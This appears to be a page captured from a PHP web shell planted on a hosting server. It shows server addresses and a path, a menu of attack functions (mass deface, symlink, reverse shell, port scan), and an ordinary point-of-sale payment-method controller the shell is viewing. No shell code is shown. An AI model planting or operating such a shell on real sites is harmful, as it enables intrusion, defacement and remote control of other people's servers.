Tul xxx Tul
User / IP
:
216.73.217.21
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil
/
controllers
/
Viewing: Formapagos.php
<?php class Formapagos extends Controller { public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } } public function index() { if (!verificar('ver_forma_pago')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Forma pagos'; $data['script'] = 'formapagos.js'; $this->views->getView('formapagos', 'index', $data); } public function listar() { $data = []; if (verificar('ver_forma_pago')) { $data = $this->model->getFormapagos(1); for ($i = 0; $i < count($data); $i++) { $data[$i]['acciones'] = '<div> <button class="btn btn-info" type="button" onclick="editarFormapago(' . $data[$i]['id'] . ')"><i class="fas fa-edit"></i></button> <button class="btn btn-danger" type="button" onclick="eliminarFormapago(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></button> </div>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function registrar() { if (isset($_POST['nombre'])) { $formapago = strClean($_POST['nombre']); $id = strClean($_POST['id']); if (empty($formapago)) { $res = array('msg' => 'EL NOMBRE ES REQUERIDO', 'type' => 'warning'); } else { if ($id == '') { if (verificar('crear_forma_pago')) { $verificar = $this->model->getValidar('formapago', $formapago, 'registrar', 0); if (empty($verificar)) { $data = $this->model->registrar($formapago); if ($data > 0) { $res = array('msg' => 'FORMA PAGO REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR', 'type' => 'error'); } } else { $res = array('msg' => 'FORMA PAGO YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } else { if (verificar('editar_forma_pago')) { $verificar = $this->model->getValidar('formapago', $formapago, 'actualizar', $id); if (empty($verificar)) { $data = $this->model->actualizar($formapago, $id); if ($data > 0) { $res = array('msg' => 'FORMA PAGO MODIFICADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODIFICAR', 'type' => 'error'); } } else { $res = array('msg' => 'FORMA PAGO YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } } } echo json_encode($res); die(); } public function eliminar($idFormapago) { if (isset($_GET) && is_numeric($idFormapago) && verificar('eliminar_forma_pago')) { $data = $this->model->eliminar(0, $idFormapago); if ($data == 1) { $res = array('msg' => 'FORMA PAGO ELIMINADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL ELIMINAR', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function editar($idFormapago) { $data = $this->model->editar($idFormapago); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } }
Coded With 💗 by
0x6ick